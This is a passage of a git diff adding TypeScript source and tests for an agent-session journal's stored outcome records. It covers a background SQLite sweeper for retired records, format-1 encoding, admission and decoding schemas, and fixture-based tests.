b/src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts new file mode 100644 index 00000000000..c26a964c286 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts @@ -0,0 +1,157 @@ +// One sweeper per database deletes retired epochs' records in the background. Opens and sends never +// wait for it: a retired generation is one no current epoch names, so no read reaches its records. + +import type { JournalHostDatabase } from './journal-host-database' +import type Database from '../../sqlite/sync-database' + +const FIRST_PASS_MS = 60_000 +const PASS_INTERVAL_MS = 6 * 60 * 60_000 +const sweepPositions = new WeakMap() +type SweptDatabase = Pick + +/** A retired epoch's records go with it, as main deletes a retired epoch's rows: every generation + * the chat's current epoch no longer names is swept, one bounded page per transaction. */ +export function sweepJournalOutcomePage( + database: Pick +): boolean { + return database.transaction((db) => { + const after = sweepPositions.get(db) ?? 0 + const candidates = db + .prepare(`SELECT a.generation FROM journal_outcome_generations a LEFT JOIN journal_outcome_epochs e + ON e.session_id = a.session_id AND e.epoch = a.epoch AND e.generation = a.generation + WHERE e.session_id IS NULL AND a.generation > ? ORDER BY a.generation LIMIT 32`) + .all(after) + for (const { generation } of candidates) { + if (typeof generation !== 'number') { + continue + } + sweepPositions.set(db, generation) + const removed = db + .prepare(`DELETE FROM journal_outcomes WHERE rowid IN ( + SELECT rowid FROM journal_outcomes WHERE generation = ? LIMIT 32)`) + .run(generation) + if (removed.changes === 0) { + db.prepare('DELETE FROM journal_outcome_generations WHERE generation = ?').run(generation) + continue + } + // One bounded data page per transaction, even with many retired generations. The next page + // resumes at this generation, so it never rescans the live ones before it. + sweepPositions.set(db, generation - 1) + return true + } + if (candidates.length === 32) { + return true + } + sweepPositions.delete(db) + return false + }) +} + +export type JournalPace = { work: (unit: () => T) => T; rest: () => Promise } + +/** A 10% duty cycle for background deletion only: a chat open or a send is never charged. */ +export function createJournalPace( + now: () => number, + delay: (ms: number) => Promise +): JournalPace { + let worked = 0 + return { + work(unit: () => T): T { + const start = now() + try { + return unit() + } finally { + worked += now() - start + } + }, + async rest(): Promise { + const ms = worked >= 25 ? worked * 9 : 0 + if (ms > 0) { + worked = 0 + } + await delay(ms) + } + } +} + +/** Sweeps a minute after launch, then every six hours; a failed pass is retried by the next one. */ +export class JournalOutcomeSweeper { + private readonly pace: JournalPace + private running: Promise | null = null + private timer: ReturnType | null = null + private stopped = false + + constructor( + private readonly deps: { + database: () => SweptDatabase | null + now?: () => number + delay?: (ms: number) => Promise + onError?: (error: unknown) => void + } + ) { + this.pace = createJournalPace(deps.now ?? (() => performance.now()), deps.delay ?? delay) + } + + start(): this { + this.schedule(FIRST_PASS_MS) + return this + } + + stop(): void { + this.stopped = true + this.clearTimer() + } + + pass(): Promise { + this.running ??= this.run().finally(() => { + this.running = null + this.schedule(PASS_INTERVAL_MS) + }) + return this.running + } + + private async run(): Promise { + for (;;) { + const database = this.current() + if (!database || !this.pace.work(() => sweepJournalOutcomePage(database))) { + return + } + await this.pace.rest() + } + } + + private schedule(ms: number): void { + if (this.stopped) { + return + } + this.clearTimer() + this.timer = setTimeout(() => { + this.timer = null + void this.pass().catch((error: unknown) => this.deps.onError?.(error)) + }, ms) + unref(this.timer) + } + + private clearTimer(): void { + if (this.timer) { + clearTimeout(this.timer) + } + this.timer = null + } + + private current(): SweptDatabase | null { + const database = this.deps.database() + return this.stopped || !database || database.isClosed || database.readOnly ? null : database + } +} + +function delay(ms: number): Promise { + return new Promise((resolve) => unref(setTimeout(resolve, ms))) +} + +/** Mobile test programs type global timers as numbers; Node timers may release the event loop. */ +function unref(timer: unknown): void { + if (typeof timer === 'object' && timer && 'unref' in timer && typeof timer.unref === 'function') { + timer.unref() + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-codec.ts b/src/main/native-chat/agent-session-journal/journal-outcome-codec.ts new file mode 100644 index 00000000000..4f7ee7e222d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-codec.ts @@ -0,0 +1,199 @@ +import { z } from 'zod' +import type { SqliteRow } from '../../sqlite/sqlite-statement' +import type { JournalReducerState } from './journal-reducer' +import type { JournalEntryChange } from './journal-transition-collections' +import { journalEntryJson, journalStateScalars } from './journal-state-layout' +import { + admitOutcomeFormat1, + JOURNAL_OUTCOME_FORMAT_1, + type AdmittedOutcome +} from './journal-outcome-format-1' +import { decodeOutcomeFormat1Onto } from './journal-outcome-format-1-decode' +import { AgentSessionJournalError } from './journal-write-guards' + +export type JournalOutcome = { + seq: number + field: string + key: string + format: number + ordinal: string + json: string + deleted: boolean +} + +/** A key first written over a frozen input prefix keeps the place the prefix gave it. */ +export const JOURNAL_PREFIX_ORDINAL = 'b' + +/** Stored outcome content this build rejects; storage errors never become this, so they stay + * retryable, as main's replay keeps them. */ +export class JournalOutcomeDecodeError extends Error { + override readonly name = 'JournalOutcomeDecodeError' +} + +const scalars = (state: JournalReducerState): Record => + z.record(z.string(), z.unknown()).parse(JSON.parse(journalStateScalars(state))) + +/** Encoding freezes a sequence's contributions before the next input can mutate the draft; + * `untracked` reads each changed value as it stands, not through the draft's tracking. */ +export function encodeJournalOutcomes( + state: JournalReducerState, + changes: readonly JournalEntryChange[], + before: Record, + untracked: (key: string, value: unknown) => unknown +): { values: Omit[]; scalars: Record } { + const next = scalars(state) + const values = changes.map((entry) => ({ + seq: state.lastSequence, + field: entry.path, + key: JSON.stringify(entry.key), + format: JOURNAL_OUTCOME_FORMAT_1, + json: entry.deleted + ? 'null' + : entry.path === 'items' + ? JSON.stringify(entry.value, untracked) + : journalEntryJson(entry.key, entry.value, untracked), + deleted: entry.deleted + })) + for (const [key, value] of Object.entries(next)) { + // The sequence is the record's own, and the epoch's coverage on read; it is never stored. + if (key !== 'lastSequence' && JSON.stringify(value) !== JSON.stringify(before[key])) { + values.push({ + seq: state.lastSequence, + field: '$', + key: JSON.stringify(key), + format: JOURNAL_OUTCOME_FORMAT_1, + json: JSON.stringify(value), + deleted: false + }) + } + } + for (const value of values) { + // A reducer field format 1 has no home for needs a new outcome format, never a silent change. + if (admitOutcomeFormat1(value) === 'unknown') { + throw new Error(`journal outcome format 1 does not store ${value.field} ${value.key}`) + } + } + return { values, scalars: next } +} + +export function journalOutcomeScalars(state: JournalReducerState): Record { + return scalars(state) +} + +/** Admits one stored record or refuses the chat: a newer format or field as newer, anything else as + * damage. */ +export function decodeJournalOutcome(row: SqliteRow): JournalOutcome { + return admitJournalOutcome(row).value +} + +function admitJournalOutcome(row: SqliteRow): { value: JournalOutcome; admitted: AdmittedOutcome } { + return decodingOutcome(() => { + if ( + typeof row.seq !== 'number' || + !Number.isSafeInteger(row.seq) || + row.seq < 1 || + typeof row.field !== 'string' || + typeof row.entry_key !== 'string' || + typeof row.format !== 'number' || + !Number.isSafeInteger(row.format) || + row.format < 1 || + typeof row.ordinal !== 'string' || + !/^(b|s\d{16}:\d{16})$/.test(row.ordinal) || + typeof row.value_json !== 'string' || + (row.deleted !== 0 && row.deleted !== 1) + ) { + throw new Error('invalid journal outcome') + } + const value = { + seq: row.seq, + field: row.field, + key: row.entry_key, + format: row.format, + ordinal: row.ordinal, + json: row.value_json, + deleted: row.deleted === 1 + } + const admitted = + value.format === JOURNAL_OUTCOME_FORMAT_1 ? admitOutcomeFormat1(value) : 'unknown' + if (admitted === 'unknown') { + throw new AgentSessionJournalError('journal_read_only', 'the chat holds a newer outcome') + } + return { value, admitted } + }) +} + +/** A pure decode: a newer writer's record is refused as newer, anything else it throws is damage. */ +export function decodingOutcome(decode: () => T): T { + try { + return decode() + } catch (error) { + if (error instanceof AgentSessionJournalError || error instanceof JournalOutcomeDecodeError) { + throw error + } + throw new JournalOutcomeDecodeError('invalid journal outcome', { cause: error }) + } +} + +type Newest = AdmittedOutcome & Pick + +/** Last-write-wins per key, deletions included, so the tail can remove values from a frozen prefix; + * order comes from the canonical log. */ +export class JournalOutcomeFold { + private readonly values = new Map>() + /** Admits one stored record and keeps its value as admission parsed it, not its text. */ + add(row: SqliteRow): Pick { + const { value, admitted } = admitJournalOutcome(row) + let field = this.values.get(value.field) + if (!field) { + field = new Map() + this.values.set(value.field, field) + } + field.set(value.key, { ordinal: value.ordinal, deleted: value.deleted, ...admitted }) + return value + } + + /** Applies the latest values over `baseline` (the folded input prefix) or over the scalars alone: + * a deletion removes, a prefix-ordinal value replaces in place, and every other value takes its + * canonical place after the prefix. Each record was admitted as format 1 on read. A prefix-ordinal + * value the prefix does not hold is still the key's newest value and is appended rather than + * refusing the chat; that can only happen if the prefix is read differently from how it was + * written, which the marker's rule forbids (`JOURNAL_OUTCOME_MARKER_VERSION`). */ + finish( + sessionId: string, + epoch: string, + through: number, + baseline?: JournalReducerState + ): JournalReducerState { + const scalars: [string, unknown][] = [ + ...[...(this.values.get('$')?.values() ?? [])].map((value): [string, unknown] => [ + String(value.entryKey), + value.kept + ]), + ['lastSequence', through] + ] + const decode = decodingOutcome(() => decodeOutcomeFormat1Onto(scalars, baseline)) + for (const [field, entries] of this.values) { + if (field === '$') { + continue + } + // Canonical ordinals compare bytewise, as SQLite's BINARY collation orders them; the prefix + // ordinal sorts before every appended one. + const ordered = [...entries.values()].sort((a, b) => (a.ordinal < b.ordinal ? -1 : 1)) + for (const value of ordered) { + decodingOutcome(() => { + if (value.deleted || value.ordinal !== JOURNAL_PREFIX_ORDINAL) { + decode.remove(field, value.entryKey) + } + if (!value.deleted) { + decode.entry(field, value.kept) + } + }) + } + } + const state = decode.finish() + if (state.sessionId !== sessionId || state.epoch !== epoch) { + throw new JournalOutcomeDecodeError('invalid journal outcome coverage') + } + return state + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts new file mode 100644 index 00000000000..a7495a6274d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts @@ -0,0 +1,180 @@ +import { z } from 'zod' +import type { AgentJournalRenderItem } from '../../../shared/agent-session-journal-types' +import { createJournalReducerState, type JournalReducerState } from './journal-reducer' +import { JournalDerivedTurnScope } from './journal-derived-turn-scope' +import { + outcomeFormat1StoredScalars, + outcomeFormat1StrictScalars +} from './journal-outcome-format-1' + +// Part of frozen outcome format 1: builds reducer state from its stored scalars and keyed entries. +// Every value arrives as admission parsed it and walked it strictly, so these views only type it. + +type JournalStateDecode = { + entry: (path: string, entry: unknown) => void + remove: (path: string, key: unknown) => void + finish: () => JournalReducerState +} + +type Target = { + set: (entry: unknown) => void + remove: (key: unknown) => void +} + +/** Applies admitted scalars and entries onto `baseline`, or onto a new chat state when the scalars + * are complete. A map or set entry for an existing key replaces it in place. */ +export function decodeOutcomeFormat1Onto( + scalars: readonly [string, unknown][], + baseline?: JournalReducerState +): JournalStateDecode { + const state = baseline ?? createJournalReducerState('', '') + if (!baseline) { + outcomeFormat1StrictScalars.parse(Object.fromEntries(scalars)) + } + for (const [key, value] of scalars) { + applyScalar(state, key, value) + } + const targets = collectionTargets(state) + const target = (path: string): Target => { + const found = targets.get(path) + if (!found) { + throw new Error('unknown saved journal collection') + } + return found + } + return { + entry: (path, entry) => target(path).set(entry), + remove: (path, key) => target(path).remove(key), + finish: () => state + } +} + +// Live Stop settlement belongs to its process; only the row-derived pause facts are stored, so a +// stored value decodes as it is. +export function durableQueuePauseMarks( + marks: JournalReducerState['queuePauseMarks'] +): JournalReducerState['queuePauseMarks'] { + const stop = marks.latestStop + return { ...marks, latestStop: stop && { sequence: stop.sequence, event: stop.event } } +} + +const f = outcomeFormat1StoredScalars.shape +const admittedPauseMarks = z.custom() +const admittedHistoryOrigin = z.custom() + +function applyScalar(state: JournalReducerState, key: string, value: unknown): void { + switch (key) { + case 'sessionId': + state.sessionId = f.sessionId.parse(value) + return + case 'epoch': + state.epoch = f.epoch.parse(value) + return + case 'lastSequence': + state.lastSequence = f.lastSequence.parse(value) + return + case 'lastActivityAt': + state.lastActivityAt = f.lastActivityAt.parse(value) + return + case 'oldestSequence': + state.oldestSequence = f.oldestSequence.parse(value) + return + case 'highestFence': + state.highestFence = f.highestFence.parse(value) + return + case 'derivedTurnScope': + state.derivedTurnScope = JournalDerivedTurnScope.restore(f.derivedTurnScope.parse(value)) + return + case 'latestAcceptedTurnSequence': + state.latestAcceptedTurnSequence = f.latestAcceptedTurnSequence.parse(value) + return + case 'queuePauseMarks': + state.queuePauseMarks = admittedPauseMarks.parse(value) + return + case 'queue': + state.queue.revision = f.queue.parse(value).revision + return + case 'historyOrigin': + state.historyOrigin = admittedHistoryOrigin.parse(value) + return + default: + throw new Error('unknown saved journal scalar') + } +} + +const isString = (key: unknown): key is string => typeof key === 'string' +const isNumber = (key: unknown): key is number => typeof key === 'number' + +function collectionTargets(state: JournalReducerState): Map { + const map = (target: Map, isKey: (key: unknown) => key is K): Target => { + const admitted = z.custom<[K, V]>() + return { + set: (entry) => { + const [key, value] = admitted.parse(entry) + target.set(key, value) + }, + remove: (key) => { + if (isKey(key)) { + target.delete(key) + } + } + } + } + const member = z.custom<[string, string]>() + const set = (target: Set): Target => ({ + set: (entry) => { + target.add(member.parse(entry)[0]) + }, + remove: (key) => { + if (isString(key)) { + target.delete(key) + } + } + }) + const item = z.custom() + const echo = z.custom<[string] | [string, unknown]>() + const items = state.items + return new Map([ + [ + 'items', + { + set: (entry) => { + const value = item.parse(entry) + items.set(value.itemId, value) + }, + remove: (key) => { + if (isString(key)) { + items.delete(key) + } + } + } + ], + ['itemFences', map(state.itemFences, isString)], + ['itemExecutionOwners', map(state.itemExecutionOwners, isString)], + ['providerActivityAt', map(state.providerActivityAt, isNumber)], + ['tombstones', map(state.tombstones, isString)], + ['removedTurnIds', set(state.removedTurnIds)], + ['submissions', map(state.submissions, isString)], + ['receipts', map(state.receipts, isString)], + ['aliases', map(state.aliases, isString)], + [ + 'itemEchoes', + { + set: (entry) => { + const value = echo.parse(entry) + state.itemEchoes.set(value[0], value[1]) + }, + remove: (key) => { + if (isString(key)) { + state.itemEchoes.delete(key) + } + } + } + ], + ['appliedSettlementIds', set(state.appliedSettlementIds)], + ['stoppedHistoryCarried', map(state.stoppedHistoryCarried, isString)], + ['queuedHandOffPlaces', map(state.queuedHandOffPlaces, isString)], + ['normalizedHandOffs', set(state.normalizedHandOffs)], + ['queue.cards', map(state.queue.cards, isString)] + ]) +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts new file mode 100644 index 00000000000..42a60bf90cf --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts @@ -0,0 +1,201 @@ +import { readFileSync } from 'node:fs' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import { z } from 'zod' +import { + closeTestJournalHostDatabases, + insertTestJournalRowJson, + openTestJournalHostDatabase, + publishTestJournalEpoch +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import { restoreJournal } from './journal-open' +import type { JournalReducerState } from './journal-reducer' +import { + admitOutcomeFormat1, + OUTCOME_FORMAT_1_COLLECTIONS, + outcomeFormat1EntryParsers, + outcomeFormat1Fields, + outcomeFormat1Scalars +} from './journal-outcome-format-1' + +// Rows a format-1 build wrote, checked in as data: this build must read them, and every later one. +const fixture = z + .object({ + sessionId: z.string(), + epoch: z.string(), + through: z.number(), + marker: z.string(), + outcomes: z.array( + z.tuple([z.number(), z.string(), z.string(), z.number(), z.string(), z.string(), z.number()]) + ), + expected: z.record(z.string(), z.unknown()) + }) + .parse( + JSON.parse( + readFileSync(new URL('./__fixtures__/journal-outcome-format-1.json', import.meta.url), 'utf8') + ) + ) +const { sessionId, epoch } = fixture +const GENERATION = 7 + +let root: string +let database: JournalHostDatabase +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-format-1-')) + database = openTestJournalHostDatabase(root) + database.transaction((db) => { + publishTestJournalEpoch(db, sessionId, epoch) + insertTestJournalRowJson(db, sessionId, 1, fixture.marker) + db.prepare(`INSERT INTO journal_outcome_generations (generation, session_id, epoch) + VALUES (?, ?, ?)`).run(GENERATION, sessionId, epoch) + db.prepare(`INSERT INTO journal_outcome_epochs + (session_id, epoch, generation, format, through_seq, prefix_seq) VALUES (?, ?, ?, 1, ?, 0)`).run( + sessionId, + epoch, + GENERATION, + fixture.through + ) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`) + for (const outcome of fixture.outcomes) { + insert.run(GENERATION, ...outcome) + } + }) +}) +afterEach(async () => { + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +function plain(state: JournalReducerState): unknown { + const fields: Record = { ...state } + return JSON.parse( + JSON.stringify({ + ...Object.fromEntries( + Object.entries(fields).map(([field, value]) => [ + field, + value instanceof Map || value instanceof Set ? [...value] : value + ]) + ), + derivedTurnScope: state.derivedTurnScope.snapshot(), + queue: { revision: state.queue.revision, cards: [...state.queue.cards] } + }) + ) +} + +function restored(): JournalReducerState { + const loaded = restoreJournal(database.db, sessionId) + expect(loaded).toMatchObject({ newer: null, damage: null }) + if (!loaded) { + throw new Error('missing fixture chat') + } + return loaded.state +} + +it('reads the checked-in format-1 outcomes into the same chat, every field and scalar included', () => { + // Every field and scalar has records here; a field or scalar added later adds its own records. + expect(OUTCOME_FORMAT_1_COLLECTIONS).toEqual([ + 'items', + 'itemFences', + 'itemExecutionOwners', + 'providerActivityAt', + 'tombstones', + 'removedTurnIds', + 'submissions', + 'receipts', + 'aliases', + 'itemEchoes', + 'appliedSettlementIds', + 'stoppedHistoryCarried', + 'queuedHandOffPlaces', + 'normalizedHandOffs', + 'queue.cards' + ]) + const scalars = Object.keys(outcomeFormat1Scalars.shape) + expect(scalars).toEqual([ + 'sessionId', + 'epoch', + 'lastSequence', + 'lastActivityAt', + 'oldestSequence', + 'highestFence', + 'derivedTurnScope', + 'latestAcceptedTurnSequence', + 'queuePauseMarks', + 'historyOrigin', + 'queue' + ]) + const stored = fixture.outcomes + expect(new Set(stored.map(([, field]) => field))).toEqual( + new Set(['$', ...OUTCOME_FORMAT_1_COLLECTIONS]) + ) + // The sequence is never stored: it is the epoch's coverage. + expect( + new Set(stored.filter(([, field]) => field === '$').map(([, , key]) => JSON.parse(key))) + ).toEqual(new Set(scalars.filter((scalar) => scalar !== 'lastSequence'))) + expect(stored.some(([, , , , , , deleted]) => deleted === 1)).toBe(true) + + const state = restored() + expect(plain(state)).toEqual(fixture.expected) + // An echo declared undefined stays present without a value. + const echoes = [...state.itemEchoes] + expect(echoes).toHaveLength(1) + expect(echoes[0]?.[1]).toBeUndefined() +}) + +function insertOutcome(field: string, key: string, json: string, format = 1): void { + database.db + .prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, ?, 's0000000000000021:0000000000000099', ?, 0)`) + .run(GENERATION, fixture.through, field, key, format, json) +} + +const newer = { newer: { sequence: 1 }, damage: null } + +it('refuses a field format 1 does not define as written by a newer Orca', () => { + insertOutcome('futureField', '"k"', '["k",1]') + expect(restoreJournal(database.db, sessionId)).toMatchObject(newer) +}) + +it('refuses a record of a newer format even when the epoch summary was not raised', () => { + insertOutcome('receipts', '"client-9"', '["client-9",{}]', 2) + expect(restoreJournal(database.db, sessionId)).toMatchObject(newer) +}) + +// Every key format 1 declares, at every depth, checked in as data: each must keep admitting and +// decoding as stored. Adding an optional key adds to this corpus; nothing here is edited in place. +const values = z + .array(z.tuple([z.enum(['items', 'submissions', 'queue.cards']), z.string(), z.unknown()])) + .parse( + JSON.parse( + readFileSync( + new URL('./__fixtures__/journal-outcome-format-1-values.json', import.meta.url), + 'utf8' + ) + ) + ) + +it('admits and decodes every declared shape as stored, and refuses one key more as newer', () => { + for (const [field, key, value] of values) { + const json = JSON.stringify(value) + expect(admitOutcomeFormat1({ field, key, json, deleted: false })).toEqual({ + entryKey: JSON.parse(key), + kept: value + }) + const decoded = + field === 'items' + ? outcomeFormat1Fields.items.element.parse(value) + : outcomeFormat1EntryParsers[field].parse(value) + expect(decoded).toEqual(value) + } + const [, key, item] = values[0] ?? [] + const newer = JSON.stringify(item).replace('"orcaStop":{', '"orcaStop":{"later":1,') + expect(admitOutcomeFormat1({ field: 'items', key: key ?? '', json: newer, deleted: false })).toBe( + 'unknown' + ) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts new file mode 100644 index 00000000000..b748cde210c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts @@ -0,0 +1,273 @@ +import { z } from 'zod' +import { AgentJournalTurnScopeSchema } from '../../../shared/agent-session-journal-schemas' +import { AgentSessionExecutionOptionsSchema } from '../../../shared/agent-session-execution-options' +import type { AgentJournalRenderItem } from '../../../shared/agent-session-journal-types' +import type { JournalReducerState } from './journal-reducer' +import type { JournalHistoryOrigin } from './journal-history-origin' +import type { JournalStopEvent } from './journal-row-schema' +import { + storedFailureFact, + storedItem, + storedMessageBody, + storedProviderHandle, + storedSubmission +} from './journal-storage-schema' +import { + storageVerdict, + strictStorage, + type StorageDeclaresAll, + type UndeclaredStorageKeys +} from './journal-storage-strict' + +// Outcome format 1. A record keeps this meaning whatever the reducer becomes, and a build refuses a +// record holding a key it does not declare. So an added optional key needs no new format; a changed +// meaning, a removed or renamed key, a loosened type or a changed record key does, with its own +// records and decoder beside these. Its fields copy reducer bookkeeping, so changing what one of +// those means is a format change too. The golden fixture must keep decoding. +export const JOURNAL_OUTCOME_FORMAT_1 = 1 + +const number = z.number().finite() +const cursor = z.object({ epoch: z.string(), sequence: number }) +const place = z.object({ + sequence: number, + observedAt: number, + turnScope: AgentJournalTurnScopeSchema.optional() +}) +const pauseMarks = z.object({ + cleared: z + .object({ + sequence: number, + operationId: z.string(), + messageIds: z.array(z.string()), + lifted: z.literal(true).optional() + }) + .optional(), + latestStop: z + .object({ + sequence: number, + event: z.object({ + reason: z.string(), + at: number, + turnId: z.string().optional(), + caller: z.string().optional() + }) + }) + .nullable(), + resumedSequence: number, + reopenedSequence: number +}) +const card = z.object({ + messageId: z.string(), + position: number, + body: storedMessageBody, + fingerprint: z.string(), + state: z.enum(['waiting', 'dispatched', 'returned', 'withdrawn']), + holdReason: z.string().nullable(), + returnedReason: z.string().nullable(), + returnedRejection: storedFailureFact.nullable(), + consumedAs: z.string().nullable(), + queuedAt: cursor.nullable(), + options: AgentSessionExecutionOptionsSchema.optional() +}) +const receipt = z.object({ + clientMessageId: z.string(), + providerItemId: z.string(), + cursor, + acceptedAt: number +}) +const entry = (value: V) => z.tuple([z.string(), value]) +// Set members are stored as [value, value], as a Set's entries() yields them. +const member = (value: z.ZodString) => + z.tuple([value, value]).refine(([key, stored]) => key === stored) + +/** What format 1 stores, as declared; reads admit values only through their strict forms. */ +export const outcomeFormat1Stored = { + items: storedItem, + itemFences: entry(number), + itemExecutionOwners: entry(number), + providerActivityAt: z.tuple([number, number]), + tombstones: entry(number), + removedTurnIds: member(z.string()), + submissions: entry(storedSubmission), + receipts: entry(receipt), + aliases: entry(z.string()), + itemEchoes: z.union([z.tuple([z.string()]), z.tuple([z.string(), z.unknown()])]), + appliedSettlementIds: member(z.string()), + stoppedHistoryCarried: entry(z.array(z.string())), + queuedHandOffPlaces: entry(place), + normalizedHandOffs: member(z.string()), + 'queue.cards': entry(card) +} +export const outcomeFormat1StoredScalars = z.object({ + sessionId: z.string(), + epoch: z.string(), + lastSequence: z.number().int().nonnegative(), + lastActivityAt: number, + oldestSequence: number, + highestFence: number, + derivedTurnScope: z.string().nullable(), + latestAcceptedTurnSequence: number, + queuePauseMarks: pauseMarks, + historyOrigin: z.object({ providerHandle: storedProviderHandle, raw: z.unknown() }).nullable(), + queue: z.object({ revision: number }) +}) + +/** Keyed collections, in the order the golden fixture pins. */ +export const OUTCOME_FORMAT_1_COLLECTIONS = [ + 'items', + 'itemFences', + 'itemExecutionOwners', + 'providerActivityAt', + 'tombstones', + 'removedTurnIds', + 'submissions', + 'receipts', + 'aliases', + 'itemEchoes', + 'appliedSettlementIds', + 'stoppedHistoryCarried', + 'queuedHandOffPlaces', + 'normalizedHandOffs', + 'queue.cards' +] as const satisfies readonly (keyof typeof outcomeFormat1Stored)[] + +function checked(schema: z.ZodType): z.ZodType { + // SAFETY: the strict schema admits only keys the type declares (checked at the end of this file); + // decoding keeps the stored value as it is. + const strict = strictStorage(schema) + return z.custom((value) => strict.safeParse(value).success) +} + +type State = JournalReducerState +type Stored = F extends Map ? [K, V] : F extends Set ? [T, T] : never +type Cards = State['queue']['cards'] +const s = outcomeFormat1Stored +const scalar = outcomeFormat1StoredScalars.shape + +/** Typed views of the stored schemas for decoding admitted records into reducer state. */ +export const outcomeFormat1EntryParsers = { + itemFences: checked>(s.itemFences), + itemExecutionOwners: checked>(s.itemExecutionOwners), + providerActivityAt: checked>(s.providerActivityAt), + tombstones: checked>(s.tombstones), + removedTurnIds: checked>(s.removedTurnIds), + submissions: checked>(s.submissions), + receipts: checked>(s.receipts), + aliases: checked>(s.aliases), + itemEchoes: checked<[string] | [string, unknown]>(s.itemEchoes), + appliedSettlementIds: checked>(s.appliedSettlementIds), + stoppedHistoryCarried: checked>(s.stoppedHistoryCarried), + queuedHandOffPlaces: checked>(s.queuedHandOffPlaces), + normalizedHandOffs: checked>(s.normalizedHandOffs), + 'queue.cards': checked>(s['queue.cards']) +} +const p = outcomeFormat1EntryParsers +export const outcomeFormat1Fields = { + ...outcomeFormat1StoredScalars.shape, + items: z.array(checked(s.items)), + itemFences: z.array(p.itemFences), + itemExecutionOwners: z.array(p.itemExecutionOwners), + providerActivityAt: z.array(p.providerActivityAt), + tombstones: z.array(p.tombstones), + removedTurnIds: z.array(p.removedTurnIds), + submissions: z.array(p.submissions), + receipts: z.array(p.receipts), + aliases: z.array(p.aliases), + itemEchoes: z.array(p.itemEchoes), + appliedSettlementIds: z.array(p.appliedSettlementIds), + queuePauseMarks: checked(scalar.queuePauseMarks), + stoppedHistoryCarried: z.array(p.stoppedHistoryCarried), + queuedHandOffPlaces: z.array(p.queuedHandOffPlaces), + normalizedHandOffs: z.array(p.normalizedHandOffs), + queue: z.object({ revision: number, cards: z.array(p['queue.cards']) }), + historyOrigin: checked(scalar.historyOrigin) +} +export const outcomeFormat1Scalars = outcomeFormat1StoredScalars.extend({ + queuePauseMarks: outcomeFormat1Fields.queuePauseMarks, + historyOrigin: outcomeFormat1Fields.historyOrigin +}) + +/** The scalars as a whole, strict: a chat with no input prefix holds every one. */ +export const outcomeFormat1StrictScalars = strictStorage(outcomeFormat1StoredScalars) +const strictly = (schemas: Record) => + new Map(Object.entries(schemas).map(([field, schema]) => [field, strictStorage(schema)])) +const collections = strictly(outcomeFormat1Stored) +const scalars = strictly(outcomeFormat1StoredScalars.shape) + +/** A record's key and value as admission parsed and checked them; decoding takes them as they are. */ +export type AdmittedOutcome = { readonly entryKey: unknown; readonly kept: unknown } + +/** Admission: a field, scalar, key or union tag format 1 does not declare, at any depth, is a newer + * writer's ('unknown'); content failing a declared type is damage and throws. An admitted value is + * decoded as stored, never re-encoded through the schema, and never parsed or walked again. */ +export function admitOutcomeFormat1(value: { + field: string + key: string + json: string + deleted: boolean +}): 'unknown' | AdmittedOutcome { + const key: unknown = JSON.parse(value.key) + const schema = + value.field === '$' + ? typeof key === 'string' + ? scalars.get(key) + : undefined + : collections.get(value.field) + if (!schema) { + return 'unknown' + } + if (value.field === '$' ? value.deleted : typeof key !== 'string' && typeof key !== 'number') { + throw new Error('invalid journal outcome key') + } + if (value.deleted) { + return value.json === 'null' ? { entryKey: key, kept: null } : 'unknown' + } + const kept: unknown = JSON.parse(value.json) + const verdict = storageVerdict(schema, kept) + if (verdict !== 'stored') { + if (verdict === 'newer') { + return 'unknown' + } + throw new Error('invalid journal outcome value') + } + const storedKey = value.field === '$' ? key : value.field === 'items' ? itemId(kept) : first(kept) + if (storedKey !== key) { + throw new Error('mismatched journal outcome key') + } + return { entryKey: key, kept } +} + +function itemId(value: unknown): unknown { + return typeof value === 'object' && value !== null && 'itemId' in value ? value.itemId : undefined +} + +function first(value: unknown): unknown { + return Array.isArray(value) ? value[0] : undefined +} + +type Collection = (typeof OUTCOME_FORMAT_1_COLLECTIONS)[number] +type StoredIn = F extends 'items' + ? AgentJournalRenderItem + : F extends 'queue.cards' + ? Stored + : F extends keyof State + ? Stored + : never +type Marks = State['queuePauseMarks'] +// Live Stop settlement is never stored (durableQueuePauseMarks). +type StoredMarks = Omit & { + latestStop: { sequence: number; event: JournalStopEvent } | null +} +type Scalars = z.output +export type OutcomeFormat1DeclaresEveryKey = [ + StorageDeclaresAll< + { + [F in Collection]: UndeclaredStorageKeys< + StoredIn, + z.output<(typeof outcomeFormat1Stored)[F]> + > + }[Collection] + >, + StorageDeclaresAll>, + StorageDeclaresAll> +] diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-format.ts b/src/main/native-chat/agent-session-journal/journal-outcome-format.ts new file mode 100644 index 00000000000..cfc7cb54ca6 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-format.ts @@ -0,0 +1,148 @@ +import type Database from '../../sqlite/sync-database' +import { readJournalSessionEpoch } from './journal-row-table' +import { AgentSessionJournalError } from './journal-write-guards' +import { JOURNAL_OUTCOME_FORMAT_1 } from './journal-outcome-format-1' +import { JournalOutcomeDecodeError } from './journal-outcome-codec' + +/** The newest record format this build reads, and the one it writes. Each stored record carries its + * own format; older formats keep their 